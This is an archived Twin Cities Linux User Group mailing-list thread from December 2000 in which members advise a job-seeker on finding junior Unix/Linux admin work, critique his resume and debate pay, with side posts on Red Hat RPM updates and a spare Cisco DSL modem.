Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? In-Reply-To: Message-ID: On Tue, 19 Dec 2000, Jamie Ostrowski wrote: > > > > Does anyone know of any good places to go to find junior admin Linux or > Unix work? Even if it is 60 hr a week for 30k type work, I would be SO > grateful. Help desk stuff, ANYTHING? I have reached desperation > level. Would be elated to find ANYTHING! Thanks so much. > Merry Christmas, Maybe go sign up on techies.com, fill out all the stuff on your skills.... techies has been pretty decent with respect to mailing you job openings that match your skills. Tony From ecrist at ardent-hacker.net Tue Dec 19 16:57:11 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Any Unix/Linux sweat shops? In-Reply-To: References: Message-ID: <00121916580800.17912@armageddon.ardent-hacker.net> I would like to say I share Jamie's desperation. Just a thought... On Tue, 19 Dec 2000, you wrote: > Does anyone know of any good places to go to find junior admin Linux or > Unix work? Even if it is 60 hr a week for 30k type work, I would be SO > grateful. Help desk stuff, ANYTHING? I have reached desperation > level. Would be elated to find ANYTHING! Thanks so much. > Merry Christmas, > > > - Jamie Ostrowski > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Eric F Crist System Administrator Ardent-Hacker.net From kelly_black at firstlinux.net Tue Dec 19 17:06:33 2000 From: kelly_black at firstlinux.net (Kelly Black) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Any Unix/Linux sweat shops? Message-ID: <20001219230633.9E5693ECC@sitemail.everyone.net> Jamie, Good luck on the junior level admin work... Tough going currently. I have been looking for a couple of months, and find that if you don't have AIX, Solaris, or some other flavour of Unix (i.e., not just Linux), it is tough going. Even though Linux is gaining ground on the other UNIX flavours, it does not seem to be the only thing in a shop... (Of course appart from Real-Time :-) I have had some luck, but only due to the fact that I am in a shop with NT, Novell, and lots of Linux... Of course if this were going to be the case for the long term, I would stay. But when the higher ups dictate Windows everywhere, what are you gonna do? You could post to the tclug-jobs list. I have been suggesting the tclug-jobs list to all of the recruiters I have talked with (recruiters with UNIX positions that is). The tclug-jobs list is where I found my current position (thanks everyone)... Let me know what you find man... Gotta network... (Pun intended, and even encouraged!) Sorry about the spelling, this darn free-mail I am using does not have a spell check yet. Kelly Black --- Jamie Ostrowski > wrote: > Does anyone know of any good places to go to find junior admin Linux or >Unix work? Even if it is 60 hr a week for 30k type work, I would be SO >grateful. Help desk stuff, ANYTHING? I have reached desperation >level. Would be elated to find ANYTHING! Thanks so much. >Merry Christmas, > > > - Jamie Ostrowski _____________________________________________________________ Want a new web-based email account ? ---> http://www.firstlinux.net From jamie at floyd.getsetnet.net Tue Dec 19 17:14:47 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Job (Was Unix/Linux sweat shops) Message-ID: Thanks for the tips. I did sign up with techies.com and have had a couple of pretty good entry level positions sent to me, but after sending my resume, I never heard much back. I think my main problem is I don't have any experience, so I am hungry for anything, and getting a little nervous with bills stacking up. I also signed up with the TCLUG-JOBS list but haven't gotten much there. I don't know, maybe it is my resume. If anyone would be willing to give criticism on it, or offer advice, I would REALLY appreciate it VERY much. I have a copy of it online at http://www.linux-laboratories.com/resume.html If you can maybe offer any kind of criticism you think might be helpful, I would be very appreciative. I know a lot of you have backgrounds in the IT field so it would be really useful to me to get feedback. Maybe I simply need more schooling? I don't know. I thought it would be enough for entry level work. Best Regards, - Jamie From tanner at real-time.com Tue Dec 19 17:14:03 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? In-Reply-To: ; from chrisp@dusk.bitstream.net on Tue, Dec 19, 2000 at 04:53:45PM -0600 References: Message-ID: <20001219171403.F21290@real-time.com> Quoting Christopher Palmer (chrisp@dusk.bitstream.net): > On Tue, 19 Dec 2000, Jamie Ostrowski wrote: > > > Does anyone know of any good places to go to find junior admin Linux or > > Unix work? > > There is a special list called TCLUG-Jobs where you can post resumes and > job listings. Subscribe to that. > > > Even if it is 60 hr a week for 30k type work, > > Do not ever take that kind of job. It's not worth it. What do you mean? If you got a job you love, money isn't everything. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From manero at yossman.net Tue Dec 19 17:29:34 2000 From: manero at yossman.net (Anthony Collen) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Re: [TCLUG:23907] Job (Was Unix/Linux sweat shops) In-Reply-To: Message-ID: On Tue, 19 Dec 2000, Jamie Ostrowski wrote: > > > Thanks for the tips. I did sign up with techies.com and have had a > couple of pretty good entry level positions sent to me, but after sending > my resume, I never heard much back. I think my main problem is I don't > have any experience, so I am hungry for anything, and getting a little > nervous with bills stacking up. I also signed up with the TCLUG-JOBS list > but haven't gotten much there. I don't know, maybe it is my resume. If > anyone would be willing to give criticism on it, or offer advice, I would > REALLY appreciate it VERY much. I have a copy of it online at > http://www.linux-laboratories.com/resume.html Another place I found is a site called brainbench (www.brianbench.com) which offers "certifications" for different thinks like PHP, Perl, *nix Administration via a web-based test... it sounds cheesy because people could cheat on it, but the tests I've taken I have done without any external help, and i have had a couple headhunters call me regarding the brainbench test results... so i guess that's worth a shot, too. tony From manero at yossman.net Tue Dec 19 17:31:03 2000 From: manero at yossman.net (Anthony Collen) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Re: [TCLUG:23907] Job (Was Unix/Linux sweat shops) In-Reply-To: Message-ID: On Tue, 19 Dec 2000, Anthony Collen wrote: > Another place I found is a site called brainbench > (www.brianbench.com) which offers "certifications" for different thinks Whoops, mis-typings about. i meant www.brainbench.com. tony From tanner at real-time.com Tue Dec 19 17:17:33 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Any Unix/Linux sweat shops? In-Reply-To: <20001219230633.9E5693ECC@sitemail.everyone.net>; from kelly_black@firstlinux.net on Tue, Dec 19, 2000 at 03:06:33PM -0800 References: <20001219230633.9E5693ECC@sitemail.everyone.net> Message-ID: <20001219171733.G21290@real-time.com> Quoting Kelly Black (kelly_black@firstlinux.net): > Jamie, > > Good luck on the junior level admin work... Tough going currently. I have > been looking for a couple of months, and find that if you don't have AIX, > Solaris, or some other flavour of Unix (i.e., not just Linux), it is tough > going. Even though Linux is gaining ground on the other UNIX flavours, it > does not seem to be the only thing in a shop... (Of course appart from > Real-Time :-) To add to this, you should have additional skills OTHER then just admin. As a linux shop, I can tell you that admins are just a cash-sink (no flames please). Even the best admins do not make hard dollars for most companies. What do I mean by this? A programmer or consultant makes hard dollars. Stuff you bill clients. Admins, support staff make soft dollars. They do things that are necessary to keep the clients happy, but it's really hard to put a dollar value on it. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From Mark.Muhlenkort at bestbuy.com Tue Dec 19 17:16:59 2000 From: Mark.Muhlenkort at bestbuy.com (Muhlenkort, Mark) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] RE: [TCLUG:23907] Job (Was Unix/Linux sweat shops) Message-ID: <1D97DF8321C5D311A54D0008C791DAF8030580CB@cs12mail.bestbuy.com> Your Resume needs a lot of work. Either get a good resume book, have someone else write it for you or look at the resumes on the web and pull it from there. It is difficult to see exactly what your strengths are and if a company can use them. The resume tells a company a lot about you. Let me see if I can e-mail you a copy of mine and see what you can do to change yours. Hope this helps! Mark A. Muhlenkort Computer Service Trainer Best Buy Co., Inc. 952-995-7893 Office 612-867-4203 Cell mark.muhlenkort@bestbuy.com We IMPROVE people's lives by making TECHNOLOGY and ENTERTAINMENT PRODUCTS affordable and easy to use. -----Original Message----- From: Jamie Ostrowski [mailto:jamie@floyd.getsetnet.net] Sent: Tuesday, December 19, 2000 5:15 PM To: tclug-list@mn-linux.org Subject: [TCLUG:23907] Job (Was Unix/Linux sweat shops) Thanks for the tips. I did sign up with techies.com and have had a couple of pretty good entry level positions sent to me, but after sending my resume, I never heard much back. I think my main problem is I don't have any experience, so I am hungry for anything, and getting a little nervous with bills stacking up. I also signed up with the TCLUG-JOBS list but haven't gotten much there. I don't know, maybe it is my resume. If anyone would be willing to give criticism on it, or offer advice, I would REALLY appreciate it VERY much. I have a copy of it online at http://www.linux-laboratories.com/resume.html If you can maybe offer any kind of criticism you think might be helpful, I would be very appreciative. I know a lot of you have backgrounds in the IT field so it would be really useful to me to get feedback. Maybe I simply need more schooling? I don't know. I thought it would be enough for entry level work. Best Regards, - Jamie --------------------------------------------------------------------- To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org For additional commands, e-mail: tclug-list-help@mn-linux.org From kelly_black at firstlinux.net Tue Dec 19 17:17:41 2000 From: kelly_black at firstlinux.net (Kelly Black) Date: Mon Jan 17 13:13:58 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? Message-ID: <20001219231741.92294273E@sitemail.everyone.net> What the???? A post from Bob after 5pm? I thought you only posted between 2am-5am? :-) Kelly Black --- Bob Tanner > wrote: >Quoting Christopher Palmer (chrisp@dusk.bitstream.net): >> On Tue, 19 Dec 2000, Jamie Ostrowski wrote: >> >> > Does anyone know of any good places to go to find junior admin Linux or >> > Unix work? >> >> There is a special list called TCLUG-Jobs where you can post resumes and >> job listings. Subscribe to that. >> >> > Even if it is 60 hr a week for 30k type work, >> >> Do not ever take that kind of job. It's not worth it. > >What do you mean? > >If you got a job you love, money isn't everything. >-- >Bob Tanner | Phone : (612)943-8700 >http://www.mn-linux.org | Fax : (612)943-8500 >Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 _____________________________________________________________ Want a new web-based email account ? ---> http://www.firstlinux.net From blutgens at sistina.com Tue Dec 19 18:49:42 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] Any Unix/Linux sweat shops? In-Reply-To: <00121916580800.17912@armageddon.ardent-hacker.net>; from ecrist@ardent-hacker.net on Tue, Dec 19, 2000 at 04:57:11PM -0600 References: <00121916580800.17912@armageddon.ardent-hacker.net> Message-ID: <20001219184942.A726@athena.sistina.com> On Tue, Dec 19, 2000 at 04:57:11PM -0600, Eric F Crist wrote: >I would like to say I share Jamie's desperation. > Funny i made a post to tclug-jobs list and noone responded. From blutgens at sistina.com Tue Dec 19 18:51:49 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? In-Reply-To: <20001219171403.F21290@real-time.com>; from tanner@real-time.com on Tue, Dec 19, 2000 at 05:14:03PM -0600 References: <20001219171403.F21290@real-time.com> Message-ID: <20001219185149.B726@athena.sistina.com> On Tue, Dec 19, 2000 at 05:14:03PM -0600, Bob Tanner wrote: >Quoting Christopher Palmer (chrisp@dusk.bitstream.net): >What do you mean? > >If you got a job you love, money isn't everything. I have turned down jobs for twice what I make at sistina. So I agree. I love this job. From ben at nerp.net Tue Dec 19 19:23:19 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? In-Reply-To: <20001219185149.B726@athena.sistina.com> Message-ID: I agree.. the job is only worth it, if you have fun.. I recently accepted a job at the U of M doing linux/irix/mac/windows admining.. I start in january.. I havn't been authorized yet.. but I may be posting to the -jobs list soon to help my compnay find a good replacement for me. I loved the job.. I just didn't like the location.. if you're looking for a job.. keep you're eye's on the -jobs list.. people looking for people, post to the jobs list!! tclug is filled with great people.. Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Tue, 19 Dec 2000, Ben Lutgens wrote: > On Tue, Dec 19, 2000 at 05:14:03PM -0600, Bob Tanner wrote: > >Quoting Christopher Palmer (chrisp@dusk.bitstream.net): > >What do you mean? > > > >If you got a job you love, money isn't everything. > I have turned down jobs for twice what I make at sistina. So I agree. I love > this job. > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From HOEFFNER at dcmir.med.umn.edu Tue Dec 19 20:24:37 2000 From: HOEFFNER at dcmir.med.umn.edu (HOEFFNER@dcmir.med.umn.edu) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] UPDATES Message-ID: <001219202437.20336583@dcmir.med.umn.edu> Hi I've been trapsing around the redhat site searching for the appropriate packages to update and I've gotten confused about a couple of points and am hoping someone can straighten me out. First off, most packages contain 386 in the filename (I have P3's and P2's running 6.2). Is it true that unless there's a higher version (686), use a 386 package? Kernel updates seem to have a smaller number of packages, but they all have 686 in the filename. Are these done in addition to the 386 files, or in place of them? The directions on the kernel update page don't seem to mention any thing about the difference, and the book I have says get files for the particular one you're loading. What about all the other 10 or so packages that are supposed to be checked when updating the kernel? I've run into a couple of situations where there are 2 pointers from the security page to the same file on the download page (the ed links). Is there any significance to this? The directions on the kernel update page say to update everything you have installed first and then do the kernel packages. Is this normal? I've always just added patches (updates) when they seemed necessary. I suppose if nothing ever broke... Anyway, in preparing for that, I ran into the gnupg files. One file is called gnupg-1.0.4-4.6.x.i386.rpm and another is called gnupg-1.0.4-8.6.x.i386.rpm (Note the 8). I haven't been able to remember where I read what the second group of numbers means, but it would seem that the second file would be the more recent version. Yet, the date on that file is Dec 99, while that of the first is Oct 2000. Since the security page points to the first, I used that, but I'd still like to know what's going on here. Any help appreciated! Thanks Ed Hoeffner 1-271 BSBE 312 Church St. SE Mpls, MN 55455 hoeffner@dcmir.med.umn.edu 612-625-2115 612-625-2163 fax From dopp at acm.cs.umn.edu Tue Dec 19 21:19:54 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] Any Unix/Linux sweat shops? In-Reply-To: ; from jamie@floyd.getsetnet.net on Tue, Dec 19, 2000 at 04:54:47PM -0600 References: Message-ID: <20001219211954.A73936@sorry.cs.umn.edu> If you don't mind working a public sector job, hit up the University of Minnesota jobs page...Many UNIX jobs available: http://www1.umn.edu/ohr/jobs/jobsF5.html Hell, I work for the U and love it... Good pay and incredible benefits.. Gabe On Tue, Dec 19, 2000 at 04:54:47PM -0600, Jamie Ostrowski wrote: > > > > Does anyone know of any good places to go to find junior admin Linux or > Unix work? Even if it is 60 hr a week for 30k type work, I would be SO > grateful. Help desk stuff, ANYTHING? I have reached desperation > level. Would be elated to find ANYTHING! Thanks so much. > Merry Christmas, > > > - Jamie Ostrowski > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Question with boldness even the existence of a god." - Thomas Jefferson ------------------------------------------------------------------------------- From dopp at acm.cs.umn.edu Tue Dec 19 21:35:40 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] RE: [TCLUG:23907] Job (Was Unix/Linux sweat shops) In-Reply-To: <1D97DF8321C5D311A54D0008C791DAF8030580CB@cs12mail.bestbuy.com>; from Mark.Muhlenkort@bestbuy.com on Tue, Dec 19, 2000 at 05:16:59PM -0600 References: <1D97DF8321C5D311A54D0008C791DAF8030580CB@cs12mail.bestbuy.com> Message-ID: <20001219213540.B73936@sorry.cs.umn.edu> I'm afraid I have to agree :) The first thing any resume book/tutorial/etc will tell you is to keep your resume trimed to page of dead tree. Keep the most important stuff and toss out whatever doesn't fit. Anyone who wants to can check out mine. It's not steller by any means, but I've gotten jobs with it. http://www.cs.umn.edu/~gabe/resume.html It may be a bit over a page in HTML form, but I usually consolidate it if I'm giving it to anyone. Gabe On Tue, Dec 19, 2000 at 05:16:59PM -0600, Muhlenkort, Mark wrote: > Your Resume needs a lot of work. Either get a good resume book, have someone > else write it for you or look at the resumes on the web and pull it from > there. It is difficult to see exactly what your strengths are and if a > company can use them. The resume tells a company a lot about you. Let me see > if I can e-mail you a copy of mine and see what you can do to change yours. > Hope this helps! > > > Mark A. Muhlenkort > Computer Service Trainer > Best Buy Co., Inc. > 952-995-7893 Office > 612-867-4203 Cell > mark.muhlenkort@bestbuy.com > > We IMPROVE people's lives by making TECHNOLOGY and ENTERTAINMENT PRODUCTS > affordable and easy to use. > > > > -----Original Message----- > From: Jamie Ostrowski [mailto:jamie@floyd.getsetnet.net] > Sent: Tuesday, December 19, 2000 5:15 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG:23907] Job (Was Unix/Linux sweat > shops) > > > > Thanks for the tips. I did sign up with techies.com and > have had a > couple of pretty good entry level positions sent to me, but > after sending > my resume, I never heard much back. I think my main problem > is I don't > have any experience, so I am hungry for anything, and > getting a little > nervous with bills stacking up. I also signed up with the > TCLUG-JOBS list > but haven't gotten much there. I don't know, maybe it is my > resume. If > anyone would be willing to give criticism on it, or offer > advice, I would > REALLY appreciate it VERY much. I have a copy of it online > at > http://www.linux-laboratories.com/resume.html > > If you can maybe offer any kind of criticism you think > might be helpful, > I would be very appreciative. I know a lot of you have > backgrounds in the > IT field so it would be really useful to me to get feedback. > Maybe I > simply need more schooling? I don't know. I thought it would > be enough for > entry level work. > > > Best Regards, > > - Jamie > > > > --------------------------------------------------------------------- > To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org > For additional commands, e-mail: > tclug-list-help@mn-linux.org > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Question with boldness even the existence of a god." - Thomas Jefferson ------------------------------------------------------------------------------- From dopp at acm.cs.umn.edu Tue Dec 19 21:37:22 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] RE: [TCLUG:23907] Job (Was Unix/Linux sweat shops) In-Reply-To: <20001219213540.B73936@sorry.cs.umn.edu>; from dopp@acm.cs.umn.edu on Tue, Dec 19, 2000 at 09:35:40PM -0600 References: <1D97DF8321C5D311A54D0008C791DAF8030580CB@cs12mail.bestbuy.com> <20001219213540.B73936@sorry.cs.umn.edu> Message-ID: <20001219213722.C73936@sorry.cs.umn.edu> Oops! Make that http://www.cs.umn.edu/~gabe/resume/ Gabe On Tue, Dec 19, 2000 at 09:35:40PM -0600, dopp@acm.cs.umn.edu wrote: > I'm afraid I have to agree :) The first thing any resume book/tutorial/etc > will tell you is to keep your resume trimed to page of dead tree. Keep the > most important stuff and toss out whatever doesn't fit. Anyone who wants > to can check out mine. It's not steller by any means, but I've gotten jobs > with it. > > http://www.cs.umn.edu/~gabe/resume.html > > It may be a bit over a page in HTML form, but I usually consolidate it if > I'm giving it to anyone. > > Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Question with boldness even the existence of a god." - Thomas Jefferson ------------------------------------------------------------------------------- From HOEFFNER at dcmir.med.umn.edu Tue Dec 19 21:56:07 2000 From: HOEFFNER at dcmir.med.umn.edu (HOEFFNER@dcmir.med.umn.edu) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] Any Unix/Linux sweat shops? Message-ID: <001219215607.20336583@dcmir.med.umn.edu> Which University of Minnesota are you working for? Ed If you don't mind working a public sector job, hit up the University of Minnesota jobs page...Many UNIX jobs available: http://www1.umn.edu/ohr/jobs/jobsF5.html Hell, I work for the U and love it... Good pay and incredible benefits.. Gabe On Tue, Dec 19, 2000 at 04:54:47PM -0600, Jamie Ostrowski wrote: > > > > Does anyone know of any good places to go to find junior admin Linux or > Unix work? Even if it is 60 hr a week for 30k type work, I would be SO > grateful. Help desk stuff, ANYTHING? I have reached desperation > level. Would be elated to find ANYTHING! Thanks so much. > Merry Christmas, > > > - Jamie Ostrowski > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Question with boldness even the existence of a god." - Thomas Jefferson ------------------------------------------------------------------------------- _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From jamie at floyd.getsetnet.net Tue Dec 19 23:05:06 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] Jobs: thanks In-Reply-To: <20001219213722.C73936@sorry.cs.umn.edu> Message-ID: Thanks everyone for the really helpful info regarding finding some Linux / Unix admin work. It was not only helpful to me but also helpful to others on the list who are looking for work, and hopefully helpful to any companies that may wish to hire us. - Jamie From Nick.T.Reinking at supervalu.com Wed Dec 20 07:09:41 2000 From: Nick.T.Reinking at supervalu.com (Nick.T.Reinking@supervalu.com) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] Jobs: thanks Message-ID: <0G5V000JBBBL7K@mail1.supervalu.com> The good thing is that once you "get in", it is much easier to move around and get the job that you want. For example - I wanted to be a sysadmin, too - but I only had Linux experience. However, SuperValu took me in as a CVS Administrator / Webmaster (PHP/Perl) / Graphic Designer. I just moved up from there to my current position. Nick Reinking jamie@floyd.getsetnet.net, on 12/19/2000 11:05:06 PM To: tclug-list@lists.real-time.com @ PMDF cc: Subject: [TCLUG] Jobs: thanks Thanks everyone for the really helpful info regarding finding some Linux / Unix admin work. It was not only helpful to me but also helpful to others on the list who are looking for work, and hopefully helpful to any companies that may wish to hire us. - Jamie _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From b.layer at vikingelectronics.com Wed Dec 20 09:04:18 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] Who wanted the Cicso 675? In-Reply-To: <3A3FD7BC.EDEB029D@ultracrass.com> References: <3A3FD7BC.EDEB029D@ultracrass.com> Message-ID: <00122009041800.00260@Billbob_Linux> Duhhhh... About a week ago, someone on the list expressed the need to own a Cisco 675 aDSL modem. I've got one available now. You know who you are, please contact me off-list and we can set something up. Also, please let me know if you *changed* your mind, as I have another interested party. Tanks, -- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | .:Bill Layer:. | Viking Electronics,Inc. 1531 Industrial St | | .:Sales Technician:. | Hudson, WI 54016 USA + 715.386.8861 x210 | | b.layer@vikingelectronics.com | http://www.vikingelectronics.com | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "Telecom Solutions for the 21st Century" + Powered by Slackware Linux 7.1.0 From dieman at ringworld.org Wed Dec 20 10:01:49 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] Any Unix/Linux sweat shops? In-Reply-To: <20001219171733.G21290@real-time.com>; from tanner@real-time.com on Tue, Dec 19, 2000 at 05:17:33PM -0600 References: <20001219230633.9E5693ECC@sitemail.everyone.net> <20001219171733.G21290@real-time.com> Message-ID: <20001220100149.G24042@ringworld.org> * Bob Tanner [001219 17:21]: > linux shop, I can tell you that admins are just a cash-sink (no flames please). In your paticular industry. ASP's and other things like ASP's need admins. Badly. Consulting shops like Taos PROFIT off of lots of admin work. Admins are not cash-sinks, just in your industry they are. -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001220/1d2a96d4/attachment.pgp From dieman at ringworld.org Wed Dec 20 10:04:58 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:59 2005 Subject: [TCLUG] Any Unix/Linux sweat shops? In-Reply-To: <001219215607.20336583@dcmir.med.umn.edu>; from HOEFFNER@dcmir.med.umn.edu on Tue, Dec 19, 2000 at 09:56:07PM -0600 References: <001219215607.20336583@dcmir.med.umn.edu> Message-ID: <20001220100458.H24042@ringworld.org> U of M people on the list recap: Gabe Turner: He works for MSI, the supercomputing inst. on the west bank Ben Kochie: He starts next year at the IMA, Inst. for Math Applications (right name?) Me, Scott Dier: Systems Staff at ITLABS/Computer Science * HOEFFNER@dcmir.med.umn.edu [001219 22:00]: > Which University of Minnesota are you working for? > > Ed > > > If you don't mind working a public sector job, hit up the University of > Minnesota jobs page...Many UNIX jobs available: > > http://www1.umn.edu/ohr/jobs/jobsF5.html > > Hell, I work for the U and love it... Good pay and incredible benefits.. > > Gabe > > On Tue, Dec 19, 2000 at 04:54:47PM -0600, Jamie Ostrowski wrote: > > > > > > > > Does anyone know of any good places to go to find junior admin Linux or > > Unix work? Even if it is 60 hr a week for 30k type work, I would be SO > > grateful. Help desk stuff, ANYTHING? I have reached desperation > > level. Would be elated to find ANYTHING! Thanks so much. > > Merry Christmas, > > > > > > - Jamie Ostrowski > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- > -------------------------------------------------------------------------------- > Gabe Turner | X-President, > UNIX Systems Administrator, | Assoc. for Computing Machinery > U of M Supercomputing Institute for | University of Minnesohta > Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu > > "Question with boldness even the existence of a god." > - Thomas Jefferson > ------------------------------------------------------------------------------- > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001220/75a81788/attachment.pgp From blutgens at sistina.com Wed Dec 20 10:21:41 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Jobs: thanks In-Reply-To: <0G5V000JBBBL7K@mail1.supervalu.com>; from Nick.T.Reinking@supervalu.com on Wed, Dec 20, 2000 at 07:09:41AM -0600 References: <0G5V000JBBBL7K@mail1.supervalu.com> Message-ID: <20001220102141.A742@athena.sistina.com> On Wed, Dec 20, 2000 at 07:09:41AM -0600, Nick.T.Reinking@supervalu.com wrote: >The good thing is that once you "get in", it is much easier to move around >and get the job that you want. Once again let me state that Sistina Software is hiring geeks. All types of positions are open. Please send me a resume and contact information. Ben -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001220/40f5b8d6/attachment.pgp From parker at mi-recordz.com Wed Dec 20 10:28:08 2000 From: parker at mi-recordz.com (parker@mi-recordz.com) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Jobs: thanks In-Reply-To: <20001220102141.A742@athena.sistina.com> Message-ID: Hi, > Once again let me state that Sistina Software is hiring geeks. All types of > positions are open. Please send me a resume and contact information. Hey, the nerf gun wars and strong coffee are perfectly exceptable but based on the unreasonable requirement to tolerate "stupid humor" I'd say requests for 20% above the industry norm for salary would be a reasonable compensation. What does a night shift Custodial Engineer make these days? > Ben > From destef at destef.com Wed Dec 20 11:21:57 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? In-Reply-To: <20001219171403.F21290@real-time.com> Message-ID: On Tue, 19 Dec 2000, Bob Tanner wrote: > > What do you mean? > > If you got a job you love, money isn't everything. > i'll assume sarcasm but I also have to vent... Call me jaded but i used to think that money wasn't everything. But then I started meeting people who had been in the industry for 5-10 years that didnt know a leg from a breast getting twice (or more) my salary. When I have to work with incompetant people knowing that I knew more in college than they do now its hard for money no not become a factor. Who here would continue to love their job if they knew their co-worked was getting paid $30K more to do the same job? i've always said, you can lower my salary if you agree to lower everyone elses in the industry too (ie. most of us are overpaid for the amount of work we do..and some are underpaid for the work. those people should switch jobs.) Cheers! From blutgens at sistina.com Wed Dec 20 11:29:23 2000 From: blutgens at 